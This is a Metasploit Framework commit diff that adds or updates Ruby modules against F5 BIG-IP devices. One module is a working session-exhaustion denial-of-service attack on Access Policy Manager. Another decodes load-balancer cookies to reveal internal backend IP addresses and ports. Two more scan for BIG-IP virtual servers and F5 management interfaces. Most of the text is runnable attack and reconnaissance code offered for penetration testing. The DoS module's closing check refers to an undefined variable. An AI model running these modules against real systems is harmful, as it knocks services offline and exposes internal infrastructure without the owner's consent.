Land #4940, @dnkolegov's modules for F5 BIG-IP devices

This commit is contained in:
jvazquez-r7 2015-05-12 09:59:21 -05:00
commit a5267ab77e
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
4 changed files with 351 additions and 59 deletions

View File

@ -0,0 +1,101 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 BigIP Access Policy Manager Session Exhaustion Denial of Service',
'Description' => %q{
This module exploits a resource exhaustion denial of service in F5 BigIP devices. An
unauthenticated attacker can establish multiple connections with BigIP Access Policy
Manager (APM) and exhaust all available sessions defined in customer license. In the
first step of the BigIP APM negotiation the client sends a HTTP request. The BigIP
system creates a session, marks it as pending and then redirects the client to an access
policy URI. Since BigIP allocates a new session after the first unauthenticated request,
and deletes the session only if an access policy timeout expires, the attacker can exhaust
all available sessions by repeatedly sending the initial HTTP request and leaving the
sessions as pending.
},
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'References' =>
[
['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
}
))
register_options(
[
OptInt.new('RLIMIT', [true, 'The number of requests to send', 10000]),
OptBool.new('FORCE', [true, 'Proceed with attack even if a BigIP virtual server isn\'t detected', false])
], self.class)
end
def run
limit = datastore['RLIMIT']
force_attack = datastore['FORCE']
res = send_request_cgi('method' => 'GET', 'uri' => '/')
unless res
print_error("#{peer} - No answer from the BigIP server")
return
end
# Simple test based on HTTP Server header to detect BigIP virtual server
server = res.headers['Server']
unless server =~ /BIG\-IP/ || server =~ /BigIP/ || force_attack
print_error("#{peer} - BigIP virtual server was not detected. Please check options")
return
end
print_status("#{peer} - Starting DoS attack")
# Start attack
limit.times do |step|
if step % 100 == 0
print_status("#{peer} - #{step * 100 / limit}% accomplished...")
end
res = send_request_cgi('method' => 'GET', 'uri' => '/')
if res && res.headers['Location'] =~ /\/my\.logout\.php3\?errorcode=14/
print_good("#{peer} - DoS accomplished: The maximum number of concurrent user sessions has been reached.")
return
end
end
# Check if attack has failed
res = send_request_cgi('method' => 'GET', 'uri' => uri)
if res.headers['Location'] =~ /\/my.policy/
print_error("#{peer} - DoS attack failed. Try to increase the RLIMIT")
else
print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
end
rescue ::Errno::ECONNRESET
print_error("#{peer} - The connection was reset. Maybe BigIP 'Max In Progress Sessions Per Client IP' counter was reached")
rescue ::Rex::ConnectionRefused
print_error("#{peer} - Unable to connect to BigIP")
rescue ::Rex::ConnectionTimeout
print_error("#{peer} - Unable to connect to BigIP. Please check options")
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
end
end

View File

@ -6,7 +6,6 @@
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
@ -30,125 +29,131 @@ class Metasploit3 < Msf::Auxiliary
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'SSLVersion' => 'TLS1'
}
))
register_options(
[
OptInt.new('RPORT', [true, 'The BigIP service port to listen on', 443]),
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
OptInt.new('REQUESTS', [true, 'The number of requests to send', 10])
], self.class)
end
def change_endianness(value, size = 4)
conversion = nil
if size == 4
conversion = [value].pack("V").unpack("N").first
elsif size == 2
conversion = [value].pack("v").unpack("n").first
end
conversion
end
def cookie_decode(cookie_value)
if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = $1.to_i
port = $2.to_i
backend = {}
case
when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
host = Regexp.last_match(1).to_i
port = Regexp.last_match(2).to_i
host = change_endianness(host)
host = Rex::Socket.addr_itoa(host)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host)
elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
port = change_endianness(port, 2)
elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = $1.to_i(16)
port = $2.to_i
host = Rex::Socket.addr_itoa(host, v6=true)
elsif cookie_value =~ /!.{104}/
when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
host = Regexp.last_match(1).to_i(16)
port = Regexp.last_match(2).to_i
host = Rex::Socket.addr_itoa(host, true)
else
host = nil
port = nil
end
host.nil? ? nil : "#{host}:#{port}"
backend[:host] = host.nil? ? nil : host
backend[:port] = port.nil? ? nil : port
backend
end
def get_cookie # request a page and extract a F5 looking cookie.
cookie = {}
res = send_request_raw({
'method' => 'GET',
'uri' => @uri
})
res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
unless res.nil?
# Get the SLB session IDs for all cases:
# 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
# 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
# 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
# 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
# 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
cookie[:id] = m.nil? ? nil : m[1]
cookie[:value] = m.nil? ? nil : m[2]
regexp = /
([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
(rd\d+o0{20}f{4}\w+o\d{1,5})|
(vi([a-f0-9]{32})\.(\d{1,5}))|
(rd\d+o([a-f0-9]{32})o(\d{1,5})))
(?:$|,|;|\s)
/x
m = res.get_cookies.match(regexp)
cookie[:id] = (m.nil?) ? nil : m[1]
cookie[:value] = (m.nil?) ? nil : m[2]
end
cookie
end
def run
unless datastore['REQUESTS'] > 0
print_error("Please, configure more than 0 REQUESTS")
return
end
back_ends = []
requests = datastore['REQUESTS']
backends = []
@uri = normalize_uri(target_uri.path.to_s)
print_status("#{peer} - Starting request #{@uri}")
for i in 0...datastore['REQUESTS']
cookie = get_cookie() # Get the cookie
(1..requests).each do |i|
cookie = get_cookie # Get the cookie
# If the cookie is not found, stop process
if cookie.empty? || cookie[:id].nil?
print_error("#{peer} - F5 BigIP load balancing cookie not found")
break
return
end
# Print the cookie name on the first request
if i == 0
print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
if i == 1
print_good("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
if cookie[:id].start_with?('BIGipServer')
print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
print_good("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
end
if cookie[:value].start_with?('rd')
print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
end
if cookie[:value].start_with?('!')
print_status("#{peer} - F5 BigIP cookie is probably encrypted")
print_good("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
end
end
back_end = cookie_decode(cookie[:value])
unless back_end.nil? || back_ends.include?(back_end)
print_status("#{peer} - Backend #{back_end} found")
back_ends.push(back_end)
backend = cookie_decode(cookie[:value])
unless backend[:host].nil? || backends.include?(backend)
print_good("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
backends.push(backend)
end
end
# Reporting found backends in database
unless back_ends.empty?
report_note(
:host => rhost,
:type => "f5_load_balancer_backends",
:data => back_ends
)
unless backends.empty?
report_note(host: rhost, type: 'f5_load_balancer_backends', data: backends)
end
rescue ::Rex::ConnectionRefused
print_error("#{peer} - Network connection error")
rescue ::Rex::ConnectionError
print_error("#{peer} - Network connection error")
rescue ::OpenSSL::SSL::SSLError
print_error("#{peer} - SSL/TLS connection error")
end
end

View File

@ -0,0 +1,91 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 BigIP HTTP Virtual Server Scanner',
'Description' => %q{
This module scans for BigIP HTTP virtual servers using banner grabbing. BigIP system uses
different HTTP profiles for managing HTTP traffic and these profiles allow to customize
the string used as Server HTTP header. The default values are "BigIP" or "BIG-IP" depending
on the BigIP system version.
},
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.owasp.org/index.php/SCG_D_BIGIP'],
]
))
register_options(
[
OptString.new('PORTS', [true, 'Ports to scan (e.g. 80-81,443,8080-8090)', '80,443']),
OptInt.new('TIMEOUT', [true, 'The socket connect/read timeout in seconds', 1]),
], self.class)
deregister_options('RPORT')
end
def bigip_http?(ip, port, ssl)
begin
res = send_request_raw(
{
'method' => 'GET',
'uri' => '/',
'rport' => port,
'SSL' => ssl,
},
datastore['TIMEOUT'])
return false unless res
server = res.headers['Server']
return true if server =~ /BIG\-IP/ || server =~ /BigIP/
rescue ::Rex::ConnectionRefused
vprint_error("#{ip}:#{port} - Connection refused")
rescue ::Rex::ConnectionError
vprint_error("#{ip}:#{port} - Connection error")
rescue ::OpenSSL::SSL::SSLError
vprint_error("#{ip}:#{port} - SSL/TLS connection error")
end
false
end
def run_host(ip)
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
if ports.empty?
print_error('PORTS options is invalid')
return
end
ports.each do |port|
unless port == 443 # Skip http check for 443
if bigip_http?(ip, port, false)
print_good("#{ip}:#{port} - BigIP HTTP virtual server found")
next
end
end
unless port == 80 # Skip https check for 80
if bigip_http?(ip, port, true)
print_good("#{ip}:#{port} - BigIP HTTPS virtual server found")
end
end
end
end
end

View File

@ -0,0 +1,95 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'F5 Networks Devices Management Interface Scanner',
'Description' => %q{
This module scans for web management interfaces of the following F5 Networks devices:
BigIP, BigIQ, Enterprise Manager, ARX, and FirePass.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Denis Kolegov <dnkolegov[at]gmail.com>',
'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
'Nikita Oleksov <neoleksov[at]gmail.com>'
],
'DefaultOptions' =>
{
'SSL' => true,
'SSLVersion' => 'TLS1',
'RPORT' => 443
}
))
register_options(
[
OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1])
], self.class)
end
def port_open?
begin
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
return true if res
rescue ::Rex::ConnectionRefused
vprint_status("#{peer} - Connection refused")
return false
rescue ::Rex::ConnectionError
vprint_error("#{peer} - Connection failed")
return false
rescue ::OpenSSL::SSL::SSLError
vprint_error("#{peer} - SSL/TLS connection error")
return false
end
end
def run_host(ip)
return unless port_open?
res = send_request_raw('method' => 'GET', 'uri' => '/')
if res && res.code == 200
# Detect BigIP management interface
if res.body =~ /<title>BIG\-IP/
print_good("#{peer} - F5 BigIP web management interface found")
return
end
# Detect EM management interface
if res.body =~ /<title>Enterprise Manager/
print_good("#{peer} - F5 Enterprise Manager web management interface found")
return
end
# Detect ARX management interface
if res.body =~ /<title>F5 ARX Manager Login<\/title>/
print_good("#{peer} - ARX web management interface found")
return
end
end
# Detect BigIQ management interface
res = send_request_raw('method' => 'GET', 'uri' => '/ui/login/')
if res && res.code == 200 && res.body =~ /<title>BIG\-IQ/
print_good("#{peer} - F5 BigIQ web management interface found")
return
end
# Detect FirePass management interface
res = send_request_raw('method' => 'GET', 'uri' => '/admin/', 'rport' => rport)
if res && res.code == 200 && res.body =~ /<br><br><br><big><b>&nbsp;FirePass/
print_good("#{peer} - F5 FirePass web management interface found")
return
end
end
end